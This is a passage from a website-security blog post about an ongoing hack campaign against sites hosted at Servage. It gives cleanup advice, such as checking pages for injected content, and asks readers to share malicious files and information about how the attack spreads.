Disallow: /cgiproxy/bmsblog/

9. And don’t forget about other types of hacks that mess with your existing files. Regularly check your site for consistency and any illicit content that hackers may inject into your web pages (this is where my Unmask Parasites service can help).

Call for information

This case is not completely investigated yet. For example, I still don’t know why it mainly hits Servage and how exactly it propagates. This information could help Servage clients prevent infection of their sites. And probably guys at Servage need this information too since it looks like they can’t stop this attack themselves (and it’s active for about a year now!!!)

And if you have interesting information about any other hacker attack, please share it with me and readers of this blog. I’m always looking for malicious files that webmasters find on their compromised servers. They can tell a lot about how the attacks work. So before deleting any offending content, consider contacting me first.

Thanks for reading this blog. Your comments are welcome.

Related posts:

• Rogue blogs regirect search traffic to bogus AV sites. Part 1
• Rogue blogs redirect search traffic to bogus AV sites. Part 2
• Bety.php – osCommerce Hack. Part 1.
• Bety.php Hack. Part 2. Black Hats in Action.